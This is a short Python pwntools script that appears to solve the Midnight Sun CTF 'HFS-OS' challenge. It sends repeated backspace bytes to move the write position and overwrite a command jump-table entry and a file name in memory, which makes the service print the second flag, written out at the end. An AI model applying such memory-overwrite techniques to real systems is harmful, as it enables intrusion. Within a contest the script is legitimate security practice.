from pwn import *

proc = remote('hfs-os-01.play.midnightsunctf.se', 31337)
# note that when testing local it might be necessary to put small sleeps time.sleep(0.01) before each character send as the process might not register them otherwise

def writeToPosition(position, data):
    proc.send('\x7F'*(0x39C-position))
    print("sending to {}".format(hex(0x100f*16+position)))
    proc.send(data)
    print(proc.recvline()) # ensure string is received correctly by the server
    print(proc.recvline())

proc.sendlineafter("[HFS_MBR]>", "sojupwner") # enter password
proc.recvuntil("[HFS-DOS]>") # wait until booted
print("Exploiting")
writeToPosition(0x391-3, "XXX\x74") # overwrite jump table entry for "PONG" command to entry_point
writeToPosition(0x396, "LAG2") # overwrite file name of "FLAG1" to "FLAG2" to read FLAG2 on restarting the entry_point
proc.send("pong")
print(proc.recvline()) # receive flag
print(proc.recvline())

#midnight{th4t_was_n0t_4_buG_1t_is_a_fEatuR3}